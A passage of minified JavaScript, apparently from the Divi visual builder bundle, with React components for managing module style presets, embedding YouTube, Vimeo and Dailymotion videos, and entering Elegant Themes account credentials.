t=n.props,o=t.onSelect,r=t.itemKey,i=t.value;o&&o({key:r,value:i})}},n.state={hovered:!1},n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,i.a.PureComponent),Je(t,[{key:"render",value:function(){var e=this.state.hovered,t=this.props,n=t.isSelected,o=t.className,r=t.itemKey,a=t.tooltip,s=f()({"et-core-control-menu__item":!0,"et-core-control-menu__item--hovered":e,"et-core-control-menu__item--selected":n},o),l=e?Ye.a.checkMarkColorHovered:Ye.a.checkMarkColor;return i.a.createElement("li",{key:r,className:s,onMouseEnter:this.handleMouseEnter,onMouseLeave:this.handleMouseLeave,onMouseDown:this.handleMouseDown,onTouchStart:this.handleMouseDown,"data-tip":a},i.a.createElement("div",{className:"et-core-control-menu__item__content"},this.props.children),n&&i.a.createElement("div",{className:"et-core-control-menu__item__check-mark"},i.a.createElement($e.a,{icon:"check",color:l})))}}]),t}();Qe.propTypes={className:u.a.string,itemKey:u.a.oneOfType([u.a.string,u.a.number]),value:u.a.oneOfType([u.a.string,u.a.number]),isSelected:u.a.bool,tooltip:u.a.string},Qe.defaultProps={isSelected:!1};var Ze=Qe,et=(n(1477),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());var tt=function(e){function t(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,i.a.PureComponent),et(t,[{key:"render",value:function(){return i.a.createElement("li",{className:"et-core-control-menu__divider"})}}]),t}(),nt=n(825),ot=(n(1478),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());var rt=function(e){function t(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,i.a.PureComponent),ot(t,[{key:"render",value:function(){return i.a.createElement("div",{className:"et-core-divider"})}}]),t}(),it=(n(1479),n(860)),at=n(51),st=n(9),lt=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function ut(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var ct=ETBuilderBackend.i18n.tooltips.globalPresets.presets,dt=function(e){function t(){var e,n,o;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var r=arguments.length,i=Array(r),a=0;a<r;a++)i[a]=arguments[a];return n=o=ut(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(i))),o.onCreatePresetButtonClick=function(){g.b.showNewPresetFromCurrentStylesDialog(),o.props.onButtonClick()},ut(o,n)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,i.a.PureComponent),lt(t,[{key:"render",value:function(){var e=this.props.onButtonClick,t=h.a.isViewGlobalPresetsAllowed();return i.a.createElement(i.a.Fragment,null,i.a.createElement("div",{className:"et-fb-modal__preset-dropdown__buttons"},t?i.a.createElement(i.a.Fragment,null,i.a.createElement(at.a,{block:!0,inverse:!0,className:"et-fb-button--within-dropdown",_onClick:this.onCreatePresetButtonClick},ct.createNewPreset),i.a.createElement(at.a,{buttonName:st.a.BUTTON_GLOBAL_PRESETS_ADD_NEW_PRESET,block:!0,inverse:!0,className:"et-fb-button--within-dropdown",__onClick:e},ct.addNewPreset)):null),i.a.createElement(it.a,{videoListId:"et_pb_global_presets",onClick:e}))}}]),t}();dt.propTypes={module:u.a.shape({props:u.a.shape({type:u.a.string.isRequired}).isRequired}).isRequired,onButtonClick:u.a.func},dt.defaultProps={onButtonClick:d.a};var pt=dt,ft=n(731),ht=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},mt=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var gt=ETBuilderBackend.i18n.tooltip.modal.globalPresets,vt=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.handleVisibilityChange=function(e){s.a.rebuild(),e?(g.b.openPresetsDropdown(),Object(nt.a)("et-fb-modal__module-settings__header-dropdown--visible")):(g.b.closePresetsDropdown(),Object(nt.b)("et-fb-modal__module-settings__header-dropdown--visible"))},n.onPresetButtonClick=function(){n.dropdownRef.current.close()},n.renderCustomMenu=function(){var e=n.props,t=e.menu,o=e.onMouseEnter,r=e.onMouseLeave;return i.a.cloneElement(t,{customRender:n.renderCustomMenuItems,onMouseEnter:o,onMouseLeave:r})},n.renderCustomMenuItems=function(e){return i.a.createElement("div",null,e,i.a.createElement(rt,null),i.a.createElement(pt,{module:n.props.module,onButtonClick:n.onPresetButtonClick}))},n.dropdownRef=i.a.createRef(),n.anchorRef=i.a.createRef(),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,i.a.PureComponent),mt(t,[{key:"componentDidUpdate",value:function(e){e.open!==this.props.open&&(!0===this.props.open?Object(nt.a)("et-fb-modal__module-settings__header-dropdown--visible"):Object(nt.b)("et-fb-modal__module-settings__header-dropdown--visible"))}},{key:"componentWillUnmount",value:function(){Object(nt.b)("et-fb-modal__module-settings__header-dropdown--visible")}},{key:"getRootDocument",value:function(){return Object(nt.c)()[0]}},{key:"render",value:function(){var e=this.props,t=e.children,n=e.forwardedRef,o=e.onSelect,r=e.anchor,a=e.open,s=this.renderCustomMenu(),l=Object(xe.a)(n,this.dropdownRef);return i.a.createElement("div",{className:"et-fb-modal__module-settings__header-dropdown"},i.a.createElement(He,{animation:"popup",closeOnClick:!0,getDocument:this.getRootDocument,menu:s,onVisibleChange:this.handleVisibilityChange,offsetV:ft.a.modal.headerDropdownVOffset,onSelect:o,open:a,ref:l,trigger:"click"},i.a.createElement("div",{ref:r,"data-tip":gt.selectPreset},i.a.createElement("div",{className:"et-fb-modal__module-settings__header-dropdown__overflow-container"},i.a.createElement("span",null,t),i.a.createElement("span",null)))))}}]),t}();vt.propTypes={anchor:u.a.shape({current:xe.g}),module:u.a.shape({props:u.a.shape({type:u.a.string.isRequired}).isRequired}).isRequired,menu:u.a.element.isRequired,open:u.a.bool,onSelect:u.a.func,onMouseEnter:u.a.func,onMouseLeave:u.a.func},vt.defaultProps={onSelect:d.a,onMouseEnter:d.a,onMouseLeave:d.a};var bt=i.a.forwardRef(function(e,t){return i.a.createElement(vt,ht({},e,{forwardedRef:t}))}),yt=(n(1480),n(62)),_t=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function kt(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var wt=ETBuilderBackend.i18n.tooltip.modal.globalPresets,Ct=function(e){function t(){var e,n,o;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var r=arguments.length,i=Array(r),a=0;a<r;a++)i[a]=arguments[a];return n=o=kt(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(i))),o.handleButtonClick=function(e){e.stopPropagation(),o.props.onButtonClick()},o.onEditButtonClickHandler=function(e){return o.allowLeftButtonClickOnly(e,o.onEditButtonClick)},o.onEditButtonClick=function(e){o.handleButtonClick(e),g.b.editPresetStyles(o.props.id)},o.onSettingsButtonClickHandler=function(e){return o.allowLeftButtonClickOnly(e,o.onSettingsButtonClick)},o.onSettingsButtonClick=function(e){o.handleButtonClick(e),g.b.editPresetSettings(o.props.id)},o.onUpdateWithCurrentStylesButtonClickHandler=function(e){return o.allowLeftButtonClickOnly(e,o.onUpdateWithCurrentStylesButtonClick)},o.onUpdateWithCurrentStylesButtonClick=function(e){o.handleButtonClick(e);var t=o.props,n=t.title,r=t.id;g.b.updatePresetWithCurrentStyles(n,r)},o.onCopyButtonClickHandler=function(e){return o.allowLeftButtonClickOnly(e,o.onCopyButtonClick)},o.onCopyButtonClick=function(e){o.handleButtonClick(e),g.b.clonePreset(o.props.id)},o.onDeleteButtonClickHandler=function(e){return o.allowLeftButtonClickOnly(e,o.onDeleteButtonClick)},o.onDeleteButtonClick=function(e){o.handleButtonClick(e);var t=o.props,n=t.title,r=t.id;g.b.deletePreset(n,r)},o.onAssignAsDefaultButtonClickHandler=function(e){return o.allowLeftButtonClickOnly(e,o.onAssignAsDefaultButtonClick)},o.onAssignAsDefaultButtonClick=function(e){o.handleButtonClick(e);var t=o.props,n=t.title,r=t.id;g.b.assignPresetToDefault(n,r)},o.allowLeftButtonClickOnly=function(e,t){1===e.nativeEvent.which?t(e):e.stopPropagation()},kt(o,n)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,i.a.PureComponent),_t(t,[{key:"render",value:function(){var e=this.props,t=e.title,n=e.isDefault,o=e.isSelected,r=h.a.isViewGlobalPresetsAllowed();return i.a.createElement("div",{className:"et-core-control-menu__item__content--customized"},i.a.createElement("div",{className:"et-core-control-menu__item__text-wrapper"},t),i.a.createElement(i.a.Fragment,null),r?i.a.createElement(i.a.Fragment,null,i.a.createElement(at.a,{onMouseDown:this.onEditButtonClickHandler,tooltip:wt.editPresetStyles},i.a.createElement($e.a,{icon:"pencil",color:"white"})),i.a.createElement(at.a,{onMouseDown:this.onSettingsButtonClickHandler,tooltip:wt.presetSettings,className:"et-fb-button--preset-settings"},i.a.createElement($e.a,{icon:"setting",color:"white"})),i.a.createElement(at.a,{onMouseDown:this.onUpdateWithCurrentStylesButtonClickHandler,tooltip:wt.updateWithCurrentStyles},i.a.createElement($e.a,{icon:"update-with-current-styles",color:"white"})),i.a.createElement(at.a,{onMouseDown:this.onCopyButtonClickHandler,tooltip:wt.duplicatePreset},i.a.createElement($e.a,{icon:"copy",color:"white"})),i.a.createElement(at.a,{className:"et-fb-button--delete-preset",onMouseDown:this.onDeleteButtonClickHandler,tooltip:wt.deletePreset},i.a.createElement($e.a,{icon:"delete",color:"white"})),i.a.createElement(at.a,{onMouseDown:this.onAssignAsDefaultButtonClickHandler,tooltip:wt.assignAsDefault,className:"et-core-control-menu__item__button--star"},i.a.createElement($e.a,{icon:"star",color:"white"}))):i.a.createElement($e.a,{icon:"star",color:"white",className:"et-fb-icon--based-on-indicator"}),n&&o&&i.a.createElement("div",{className:"et-core-control-menu__item__icon-wrapper"},i.a.createElement($e.a,{icon:"check",color:yt.a.checkMark})),n&&i.a.createElement($e.a,{icon:"star",color:yt.a.button,className:"et-core-control-menu__item__icon--star"}))}}]),t}();Ct.propTypes={id:u.a.string.isRequired,isDefault:u.a.bool,onButtonClick:u.a.func,isSelected:u.a.bool,title:u.a.string.isRequired},Ct.defaultProps={onButtonClick:d.a};var Et=Ct,Ot=n(608),St=(n(1481),n(727)),Tt=n(639),Mt=n(1280),xt=n(138),Pt=n(960),jt=n(50),Lt=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},Nt=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var Dt=ETBuilderBackend.i18n.modals.globalPresets.presets,At=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.onSettingMouseOver=function(){n.setState({presetNameHovered:!0})},n.onSettingMouseLeave=function(){n.setState({presetNameHovered:!1})},n.onPresetSettingsChange=function(){var e=h.a.getGlobalPresetsState().presetSettingsPopup;n.setState(Lt({},e))},n.onSettingsClose=function(){Pt.a.closePresetSettingsModal()},n.onSettingsSave=function(){var e=h.a.getModuleEdit(),t=n.state,o=t.presetId,r=t.presetName,i=t.presetDefaultName,a=t.isPresetDefault,s=t.isMakingClone,l=t.isAssignToDefaultHidden,u=r||i;jt.o(a)&&!l?Pt.a.savePresetSettings():n.state.isMakingPresetFromCurrentStyles?Pt.a.confirmCreatePresetFromCurrentStyles(e,u,jt.o(a)):Pt.a.confirmSavePresetSettings(e,o,u,jt.o(a),s)},n.onPresetSettingChange=function(e,t){Pt.a.presetSettingChange(e,t)},n.onPresetTitleReset=function(){n.onPresetSettingChange("presetName",n.state.presetDefaultName)},n.state={isVisible:!1,presetId:null,presetName:"",presetDefaultName:"",isPresetDefault:"off",presetNameHovered:!1,isAssignToDefaultHidden:!1,isMakingClone:!1,isMakingPresetFromCurrentStyles:!1},n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,i.a.PureComponent),Nt(t,[{key:"componentDidMount",value:function(){h.a.addGlobalPresetsSettingsChangeListener(this.onPresetSettingsChange)}},{key:"componentWillUnmount",value:function(){h.a.removeGlobalPresetsSettingsChangeListener(this.onPresetSettingsChange)}},{key:"componentDidUpdate",value:function(e,t){t.isVisible!==this.state.isVisible&&this.handleSettingsVisibilityChange()}},{key:"handleSettingsVisibilityChange",value:function(){this.state.isVisible?Object(nt.a)("et-core-popup__wrapper--visible"):Object(nt.b)("et-core-popup__wrapper--visible")}},{key:"getRootDocument",value:function(){return Object(nt.c)()[0]}},{key:"render",value:function(){var e=this.state,t=e.isVisible,n=e.presetName,o=e.presetDefaultName,r=e.isPresetDefault,a=e.presetNameHovered,s=e.isAssignToDefaultHidden,l=this.props,u=l.anchor,c=l.onMouseEnter,d=l.onMouseLeave;return i.a.createElement(Fe,{anchor:u,animation:"popup",getDocument:this.getRootDocument,ignoreDocumentClicks:!0,offsetV:ft.a.modal.headerDropdownVOffset,visible:t,onClose:this.onSettingsClose},i.a.createElement("div",{className:"et-fb-preset-settings__wrapper"},i.a.createElement("div",{className:"et-fb-modal__title et-fb-preset-settings__title"},Dt.presetSettings),i.a.createElement(St.b,{onMouseEnterGroup:this.onSettingMouseOver,onMouseLeaveGroup:this.onSettingMouseLeave},i.a.createElement(St.c,{isResetActive:n!==o,hoveredGroup:a,onClickReset:this.onPresetTitleReset},Dt.presetName),i.a.createElement(Tt.a,{name:"presetName",default:o,value:n,defaultIfEmpty:!0,_onChange:this.onPresetSettingChange})),!s&&i.a.createElement(St.b,null,i.a.createElement(St.c,null,Dt.assignPresetToDefault.title),i.a.createElement(Mt.a,{name:"isPresetDefault",options:Dt.assignPresetToDefault.options,value:r,_onChange:this.onPresetSettingChange})),i.a.createElement(xt.a,{block:!0},i.a.createElement(at.a,{block:!0,danger:!0,tooltip:ETBuilderBackend.i18n.tooltip.modal.cancel,_onClick:this.onSettingsClose},i.a.createElement($e.a,{icon:"exit",color:"#FFFFFF"})),i.a.createElement(at.a,{block:!0,success:!0,tooltip:ETBuilderBackend.i18n.tooltip.modal.save,_onClick:this.onSettingsSave,onMouseEnter:c,onMouseLeave:d},i.a.createElement($e.a,{icon:"check",color:"#FFFFFF"})))))}}]),t}();At.propTypes={anchor:u.a.shape({current:xe.g}),onMouseEnter:u.a.func,onMouseLeave:u.a.func},At.defaultProps={onMouseEnter:d.a,onMouseLeave:d.a};var Ft=At,It=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var Rt=ETBuilderBackend.i18n.modals.globalPresets.presets,Bt=ETBuilderBackend.i18n.tooltip.modal.globalPresets,Wt=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.onPresetSelect=function(e){var t=e.key;s.a.hide(),g.b.modulePresetChange(t)},n.onPresetButtonClick=function(){s.a.hide(),n.dropdownRef.current.close()},n.onPresetSettingsChange=function(){n.forceUpdate()},n.dropdownRef=i.a.createRef(),n.dropdownAnchorRef=i.a.createRef(),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,i.a.PureComponent),It(t,[{key:"componentDidMount",value:function(){h.a.addGlobalPresetsSettingsChangeListener(this.onPresetSettingsChange)}},{key:"componentWillUnmount",value:function(){h.a.removeGlobalPresetsSettingsChangeListener(this.onPresetSettingsChange)}},{key:"renderDefaultPreset",value:function(){var e=this.presetsList.find(function(e){return e.isDefault});return i.a.createElement(i.a.Fragment,null,i.a.createElement(Ze,{key:"default",value:"default",className:"et-core-control-menu__item__preset--default-only"},i.a.createElement("div",{className:"et-fb-modal__module-settings__default-preset-wrapper"},i.a.createElement(Et,{id:"default",title:this.moduleTitle+" "+Rt.defaultPreset,onButtonClick:this.onPresetButtonClick}),i.a.createElement("div",{className:"et-fb-modal__module-settings__default-based-on-name"},i.a.createElement($e.a,{icon:"star",color:yt.a.button,style:{marginRight:0}}),i.a.createElement("span",null,Rt.basedOn+": "+e.name)))),i.a.createElement(tt,null))}},{key:"renderPresetsList",value:function(){var e=this;return this.presetsList.sort(function(e,t){return e.created-t.created}).map(function(t){var n=t.id,o=t.name,r=f()("et-core-control-menu__item__preset",{"et-core-control-menu__item__preset--default":t.isDefault}),a=n===e.currentPreset?Bt.disablePreset:Bt.activatePreset;return i.a.createElement(Ze,{key:n,value:n,className:r,tooltip:a},i.a.createElement(Et,{id:n,title:o,isDefault:t.isDefault,isSelected:n===e.currentPreset,onButtonClick:e.onPresetButtonClick}))})}},{key:"renderSinglePresetOnly",value:function(){var e=f()("et-core-control-menu__item__preset","et-core-control-menu__item__preset--default-only");return i.a.createElement(Ze,{key:"default",value:"default",className:e},i.a.createElement(Et,{id:"default",title:this.moduleTitle+" "+Rt.defaultPreset,onButtonClick:this.onPresetButtonClick}))}},{key:"renderMenu",value:function(){var e=this.presetsList;return i.a.createElement(Ke,{selectedKey:this.currentPreset},1===e.length&&this.renderSinglePresetOnly(),e.length>1&&this.renderDefaultPreset(),e.length>1&&this.renderPresetsList())}},{key:"render",value:function(){var e=this.props,t=e.module,n=e.onMouseEnter,o=e.onMouseLeave,r=m.d.getModulePreset(this.module,this.currentPreset).name,a=h.a.getGlobalPresetsState().presetsDropdownVisible,s=1===m.d.getModulePresetsCount(this.module)?Rt.default:r||Rt.default,l=Rt.preset+": "+s;return i.a.createElement(i.a.Fragment,null,i.a.createElement(bt,{anchor:this.dropdownAnchorRef,menu:this.renderMenu(),module:t,open:a,onMouseEnter:n,onMouseLeave:o,onSelect:this.onPresetSelect,ref:this.dropdownRef},l),i.a.createElement(Ft,{anchor:this.dropdownAnchorRef,onMouseEnter:n,onMouseLeave:o}))}},{key:"module",get:function(){return this.props.module}},{key:"presetsList",get:function(){return m.d.getModulePresetsList(this.module)}},{key:"moduleTitle",get:function(){return Object(Ot.a)(this.module)}},{key:"currentPreset",get:function(){return this.presetsList.length<2?"default":h.a.getCurrentModulePresetId(this.module,!1)}}]),t}();Wt.propTypes={module:u.a.shape({props:u.a.shape({type:u.a.string.isRequired}).isRequired}).isRequired,onMouseEnter:u.a.func,onMouseLeave:u.a.func},Wt.defaultProps={onMouseEnter:d.a,onMouseLeave:d.a};t.a=Wt},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e};var l=function(e){var t=e.src,n=function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(e,["src"]);return r.a.createElement("video",s({},n,{src:t}))},u=n(925),c=n.n(u),d=n(153),p=n.n(d),f=n(398),h=n.n(f),m=function(e){return r.a.createElement("iframe",e)};m.propTypes={src:a.a.string.isRequired};var g=m,v=n(816),b=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e};var y=p()(h.a,Object(v.b)("v")),_=function(e){var t,n=e.src,o=function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(e,["src"]);return r.a.createElement(g,b({},o,{src:(t=n,Object(v.e)(c()("v",Object(v.c)(t)),"https://www.youtube.com/embed/"+y(t)))}))},k=n(923),w=n.n(k),C=n(351),E=n.n(C),O=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e};var S=p()(w.a,E()("/"),v.a),T=function(e){var t,n=e.src,o=function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(e,["src"]);return r.a.createElement(g,O({},o,{src:(t=n,Object(v.e)(Object(v.c)(t),"https://player.vimeo.com/video/"+S(t))),frameBorder:"0"}))},M=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e};var x=p()(w.a,E()("/"),v.a),P=function(e){var t,n=e.src,o=function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(e,["src"]);return r.a.createElement(g,M({},o,{src:(t=n,Object(v.e)(Object(v.c)(t),"https://www.dailymotion.com/embed/video/"+x(t))),frameBorder:"0"}))},j=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e};var L=function(e){var t,n=e.src,o=function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(e,["src"]),i=function(e){return null!==e.match(/[^\/]+(\/[^\/]+)+\.[a-z|0-9]{2,5}(\?.+)?$/i)}(t=n)?l:function(e){return null!==e.match(/(https?:\/\/)?(www\.)?youtube\.com/i)}(t)?_:function(e){return null!==e.match(/(https?:\/\/)?(www\.)?vimeo\.com/i)}(t)?T:function(e){return null!==e.match(/(https?:\/\/)?(www\.)?dailymotion\.com/i)}(t)?P:g;return r.a.createElement(i,j({},o,{src:n}))};L.propTypes={src:a.a.string.isRequired};t.a=L},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(621),a=n.n(i),s=n(24),l=n.n(s),u=n(22),c=n.n(u),d=n(2),p=n.n(d),f=n(11),h=n.n(f),m=n(38),g=n.n(m),v=n(8),b=n.n(v),y=n(47),_=n.n(y),k=n(49),w=n.n(k),C=n(32),E=n.n(C),O=n(7),S=n.n(O),T=n(17),M=n.n(T),x=n(931),P=n(1329),j=n(0),L=n(305),N=n(40),D=n(51),A=n(639),F=n(727),I=(n(1496),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());function R(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var B=ETBuilderBackend.i18n,W=function(e){function t(){var e,n,o;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var r=arguments.length,i=Array(r),a=0;a<r;a++)i[a]=arguments[a];return n=o=R(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(i))),o.state={username_field_help_active:!1,api_key_field_help_active:!1,hovered_field_group:null},o.onClickAccountFieldHelp=function(e){var t=e+"_field_help_active";o.setState(function(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}({},t,!o.state[t]))},o.onMouseEnterFieldGroup=function(e){o.setState({hovered_field_group:e})},o.onMouseLeaveFieldGroup=function(e){o.state.hovered_field_group===e&&o.setState({hovered_field_group:null})},R(o,n)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,r.a.Component),I(t,[{key:"_renderSubmitButton",value:function(){var e=r.a.createElement(N.a,{icon:"loading",color:"#FFFFFF"});return r.a.createElement(D.a,{_onClick:this.props.onClickSubmitButton,inverse:!0},this.state.ajax_in_progress||B.library.Submit,this.state.ajax_in_progress&&e)}},{key:"_renderAPIKeyFormGroup",value:function(){return r.a.createElement(F.b,{name:"api_key",onMouseEnterGroup:this.onMouseEnterFieldGroup,onMouseLeaveGroup:this.onMouseLeaveFieldGroup},r.a.createElement(F.c,{name:"api_key",activeHelp:this.state.api_key_field_help_active,hoveredGroup:"api_key"===this.state.hovered_field_group,onClickHelp:this.onClickAccountFieldHelp},B.library["API Key"]),r.a.createElement(F.a,{active:this.state.api_key_field_help_active},B.library.$apiKeyHelp),r.a.createElement(A.a,{type:"text",value:this.props.et_api_key,name:"et_api_key",_onChange:this.props.onChangeAccountFields}))}},{key:"_renderUsernameFormGroup",value:function(){return r.a.createElement(F.b,{name:"username",onMouseEnterGroup:this.onMouseEnterFieldGroup,onMouseLeaveGroup:this.onMouseLeaveFieldGroup},r.a.createElement(F.c,{name:"username",activeHelp:this.state.username_field_help_active,hoveredGroup:"username"===this.state.hovered_field_group,onClickHelp:this.onClickAccountFieldHelp},B.library.Username),r.a.createElement(F.a,{active:this.state.username_field_help_active},B.library.$usernameHelp),r.a.createElement(A.a,{type:"text",value:this.props.et_username,name:"et_username",_onChange:this.props.onChangeAccountFields}))}},{key:"_renderExpiredAccountError",value:function(){return r.a.createElement("div",{className:"et-fb-account-status-error__content"},r.a.createElement("p",{dangerouslySetInnerHTML:{__html:B.library.$expiredAccount}}))}},{key:"_renderNoAccountError",value:function(){return 